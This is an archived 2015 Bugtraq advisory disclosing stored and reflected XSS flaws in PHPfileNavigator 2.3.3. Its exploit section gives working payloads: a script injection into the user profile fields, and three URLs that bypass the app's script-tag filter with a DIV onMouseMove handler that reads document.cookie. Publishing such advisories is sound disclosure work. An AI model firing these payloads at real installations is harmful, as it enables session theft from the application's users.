lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 12 Aug 2015 05:48:37 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: PHPfileNavigator 2.3.3 Persistent & Reflected XSS

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-PHPFILENAVIGATOR0812c.txt



Vendor:
================================
pfn.sourceforge.net



Product:
===================================
PHPfileNavigator v2.3.3 (pfn)

Is state-of-the-art, open source web based application
to complete manage your files and folders.



Vulnerability Type:
=========================
Persistent & Reflected XSS



CVE Reference:
==============
N/A




Vulnerability Details:
=====================
Multiple persistent XSS vulnerable fields exist on the 'Modify User' form.
nome, usuario, email etc... 

We can leverage existing CSRF vulnerability to update a victimz profile and store malicious
XSS payload or an malicious user can inject there own payloads when updating thier profilez
affecting other users and the security of the whole application.

Multiple reflected XSS exists as well for following PHP pages all with same vulnerable
parameter 'dir' when issuing GET requests.

pfn-2.3.3 application seems to filter out <script> tags etc, but we can bypass this using
<DIV onMouseMove= JS functions!.

navega.php

accion.php

preferencias.php


Tested using xampp-1.7.0


Exploit code(s):
===============

Persistent XSS:
---------------

POST URL:
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/index.php?PHPSESSID=

e.g.

Inject <script>alert(666)</script> into the 'Name*', 'User*' or 'Email' field
and click Accept button.

Injecting XSS into 'name' field will store the XSS payload in the pfn MySQL database
in 'pfn_usuarios' table called 'nome' in the 'nome' column. The Same fate will happen for
other injected fields 'email & 'usuario'.


Reflected XSS:
--------------

1)
http://localhost/PHPfileNavigator/pfn-2.3.3/navega.php?PHPSESSID=HELL&dir= " <DIV  onMouseMove= "alert(document.cookie) " </a>

2)
http://localhost/PHPfileNavigator/pfn-2.3.3/accion.php?accion=buscador&PHPSESSID=HELL&dir= " <DIV  onMouseMove= "alert(document.cookie) " </a>

3)
http://localhost/PHPfileNavigator/pfn-2.3.3/preferencias.php?PHPSESSID=HELL&dir= " <DIV  onMouseMove= "alert(document.cookie) " </a>



Disclosure Timeline:
=========================================================
Vendor Notification: August 8, 2015
August 12, 2015 : Public Disclosure



Severity Level:
=========================================================
Medium



Description:
==========================================================


Request Method(s):              [+] POST / GET


Vulnerable Product:             [+] PHPfileNavigator v2.3.3 (pfn)


Vulnerable Parameter(s):        [+] nome, usuario, email, dir


Affected Area(s):               [+] Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx

Powered by blists - more mailing lists